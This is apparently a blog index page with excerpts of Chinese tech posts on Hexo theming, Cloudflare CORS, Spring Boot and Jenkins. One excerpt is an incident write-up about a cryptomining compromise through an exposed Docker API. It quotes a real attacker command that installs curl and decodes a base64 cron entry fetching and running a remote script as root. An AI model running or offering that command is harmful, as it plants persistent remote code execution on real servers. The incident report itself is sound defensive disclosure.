Hexo Butterfly 加入 clustrmaps 访问者地图-2024版
1转载自 cungudafa https://blog.csdn.net/cungudafa/article/details/105925710 准备工作看到别人有,我也喜欢,于是添加。 官网 clustrmaps.com 也是第三方的,有 Google Docs 账号可以直接登录,Sign up 即可 注册之后,在官网找到 Website Widget,如图。 [](https://cdn.jsdelivr.net/gh/wdm1732418365/CDN/New folder/20200505000231389.png) 我喜欢 Globe widget 形式,如果喜欢 Map 自便 [](https://cdn.jsdelivr.net/gh/wdm1732418365/CDN/New folder/20200504230609405.png) 点击 select 就可以看到信息了,复制到你的博客就好了,现在应该只有JavaScript版了。 [](https://cdn.jsdelivr.net/gh/wdm1732418365/CDN/New...
cors-cloudflare解决跨域问题方案
前提: 由于cloudflare下部署的worker缺了很多请求头导致我博客文章链接被限制读不出来,图片在新标签下也只能下载而不能在线查看。 方法一:通过配置cloudflare的worker,并且设置worker路由到所需要的链接,worker配置的js如下,Content-Disposition可以自行修改。Cloudflare Worker 可以用来设置跨域资源共享 (CORS) 的配置,从而解决 CORS 的问题。通过 Workers,创建一个反向代理,在响应中添加 Access-Control-Allow-Origin 等 CORS 头。 Worker 路由 是 Cloudflare 提供的一种机制,用于定义哪些请求会触发 Cloudflare Worker 脚本。通过设置路由,你可以选择性地将某些 URL 请求交由 Worker 脚本处理,而其他请求则按正常路径直接由服务器处理。 部署步骤 登录 Cloudflare Dashboard。 进入 Workers & Pages,然后创建一个新的 Worker。 将上面的脚本粘贴到 Worker...
八股文——SpringBoot篇
1. 什么是 Spring Boot?Spring Boot 是一个由 Pivotal 团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。它基于Spring框架,提供了快速开发Spring应用的脚手架,帮助开发者避免编写大量样板代码和配置文件。 2. 为什么要用SpringBoot 快速开发,快速整合,配置简化、内嵌服务容器 3. SpringBoot与SpringCloud 区别 SpringBoot:更关注于单个微服务的快速开发和部署,提供了丰富的工具和特性来简化这一过程。 SpringCloud:更关注于微服务之间的协作和治理,提供了一套完整的微服务解决方案,包括服务发现、配置管理、熔断降级等。 4. Spring Boot 有哪些优点?Spring Boot 主要有如下优点: 容易上手,提升开发效率,为 Spring...
Filter(过滤器)、Interceptor(拦截器)和AOP(切面)的区别
前言 Filter、Interceptor、AOP都是用于实现应用横切关注点的技术手段,通过这些技术,可以将横切关注点的代码从核心业务逻辑中解耦,使得代码更加清晰和可维护,同时也提高了代码的复用性。但是三者的应用场景还是有些区别的,Filter主要用于处理HTTP请求和响应,在Servlet容器中工作,可以实现如日志记录、安全性过滤、跨域请求处理等;Interceptor主要用于在Spring MVC中拦截方法调用,允许在方法执行前后添加额外逻辑,用于实现权限拦截、日志记录、事务管理等;AOP用于处理复杂的横切关注点,在不修改核心业务逻辑的情况下增加或调整功能,用于日志记录、事务管理、性能监控等。 一、Filter(过滤器)1.说明 ...
hexo butterfly更改为一图流加单图显示后background不显示最终解决方案
前提 在上篇文章我写了其中一种解决方法,但思考本质原因是我用了一图流后,我重新查看代码,终于发现了最终解决方案,不废话直接说结论。 背景: hexo butterfly 5.2.2 github cloudflare page 解决方法以及思路进入[BlogRoot]\themes\butterfly\layout\includes\layout.pug文件中(BlogRoot为根目录)。 之前我使用了别的博主的一图流再加pages页单图,修改成大概这样子 最终通过console发现我输入的值都是正常的,就是这个#web_bg无法创建出来,所以我怀疑不给予参数是无法根据默认参数生成,所以我模仿page页面的写法重新给默认的#web_bg赋值。 12345if theme.background if page.background #web_bg(style=`background:`+ page.background + `;background-attachment: local;background-position:...
hexo butterfly更改为一图流后background不显示解决方法
前提 :前端时间在搭建hexo的使用butterfly主题后想参考一图流去修改背景图,发现按说明修改完后,background怎么修改地址,无论是本地还是链接都无法显示出来,后来经排查后发现是缺了文件,所以这里提出来一个解决思路,如若不行还请继续努力。 背景: hexo butterfly 5.2.2 github cloudflare page 解决方法进入[BlogRoot]\themes\butterfly\source\css\var.styl文件中(BlogRoot为根目录)。 在大概35行的位置查看$text-line-height = 2和$index_top_img_height = hexo-config('index_top_img_height') ? convert(hexo-config('index_top_img_height')) : 100vh之间是否有如下代码 123$text-line-height = 2$web-bg = hexo-config('background')...
The Lord of the Rings2-sam-frodo
佛罗多:我办不到。 山姆: 我知道。 这不公平。 我们本来就不该来。 但是我们来了。 这就像我们听过的精彩故事,歌颂伟大的事迹,充满了黑暗和危险。 有时你不想知道结局。因为怎么可能有快乐结局? 发生这么多可怕的事情,这世界怎么可能回到从前? 但是最后可怕的阴影,终究会消失。就连黑暗也会消失。崭新的一天将会来临。太阳也会散发更明亮的光芒。 这才是让人永生难忘,意义非凡的感人故事。 纵使你太年轻不明白为什么,但是我想我明白了。 我现在明白了。这些故事里的主角有很多机会半途而废,但是他们并没有。 他们决定勇往直前,因为他们抱着一种信念。 佛罗多:我们抱着什么信念? 山姆:这世上一定存在着善良,值得我们奋战到底。 Mr. Frodo: I can’t do this, Sam. Sam: I know. It’s all wrong. By rights, we shouldn’t even be here. But we are here. It’s like in the great...
GoF的23种设计模式的功能
单例(Singleton)模式:某个类只能生成一个实例,该类提供了一个全局访问点供外部获取该实例,其拓展是有限多例模式。 原型(Prototype)模式:将个对象作为原型,通过对其进行复制而克隆出多个和原型类似的新实例。 工厂方法(Factory...
记录一次服务器因打开Docker允许远程登陆而不添加任何防护而被挖矿的经历
可疑编码命令 可疑 发生时间:2024-12-06 23:04:56IP:8.138.181.*** 172.30.154.*** 告警描述:检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。 异常事件详情数据来源: 进程启动触发检测 告警原因:该命令行存在高度可疑的编码特征。 用户名:root 命令行:chroot /mnt/ /bin/sh -c if ! type curl >/dev/null;then apt-get install -y curl;apt-get install -y –reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi;echo KiAqICogKiAqIHJvb3QgY3VybCBodHRwOi8vMjA1LjE4NS4xMTguMjQ2L2IyZjYyOC9jcm9uYi5zaHxiYXNoCg==|base64 -d...
docker部署的Jenkins配置好却无法使用docker-compose解决方案
问题:docker部署完的jenkins无法使用docker-compose指令 前提:docker run时已经挂载了docker以及docker-compose的目录,docker是最新的能使用最新的docker compose命令;Jenkins已经安装docker plugins以及docker compose plugin,但还是在编译时显示找不到docker-compose以及无法使用docker compose指令 排查过程: 进入jenkins容器里查看docker版本,发现版本比挂载的版本低,怀疑被docker plugin版本覆盖? 使用docker compose和docker-compose命令,均发现可用 docker plugin配置的路径无误 尝试过程: 尝试一: 先用which docker-compose找到docker-compose路径(使用jenkins新建工程编写shell命令或进入jenkins容器内使用which命令查找) 再使用绝对路径下的docker-compose进行部署操作 结果:...












